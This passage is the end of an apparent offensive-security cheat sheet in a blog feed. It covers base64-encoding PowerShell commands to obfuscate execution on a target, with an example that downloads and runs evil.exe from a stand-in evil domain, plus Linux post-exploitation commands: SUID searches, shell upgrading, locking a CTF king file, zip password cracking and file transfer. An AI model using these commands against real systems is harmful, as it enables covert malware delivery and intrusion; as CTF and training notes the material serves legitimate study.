<code>$command = &apos;&lt;your command&gt;&apos; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) echo $encodedCommand</code></li>
<li>Run on target machine:<br>
<code>powershell.exe -encodedCommand &apos;&lt;value of $encodedCommand&gt;&apos;</code></li>
<li>Example:</li>
</ul>
<pre><code>powershell.exe -encodedCommand &apos;dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAtAGQAbwBtAGEAaQBuAC4AYwBvAG0ALwBlAHYAaQBsAC4AZQB4AGUAOwAgAHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIABlAHYAaQBsAC4AZQB4AGUA&apos;
</code></pre>
<ul>
<li>The command above decodes to `wget <a href="http://evil-domain.com/evil.exe">http://evil-domain.com/evil.exe</a>; start-process evil.exe&apos; which pulls an executable from an evil domain hosting the file then executes it.</li>
<li>Tip: To further obfuscate the execution use shortened versions of the argument such as -enco instead of -encodedCommand.</li>
</ul>
</li>
<li>Useful Linux Commands
<ul>
<li>Find SUID Bits: <code>find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2&gt; /dev/null</code></li>
<li>TTY shell<br>
<code>  python 3 -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;   export TERM=xterm   Ctrl + z   stty raw -echo;fg  </code></li>
<li><code>chattr +i /root/king.txt</code> #make file immutable</li>
<li><code>sudo -l</code></li>
<li><code>fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt /path/to/file</code></li>
<li>Start a Python WebServer for quick file sharing
<ul>
<li>Python 2: <code>python2 -m SimpleHTTPServer &lt;port&gt;</code></li>
<li>Python 3: <code>python3 -m http.server &lt;port&gt;</code></li>
<li>With either, use curl or wget to grab files
<ul>
<li><code>curl http://&lt;hosting ip&gt;:&lt;port&gt;/file &gt; output</code></li>
<li><code>wget http://&lt;hosting ip&gt;:&lt;port&gt;/file &gt; output</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>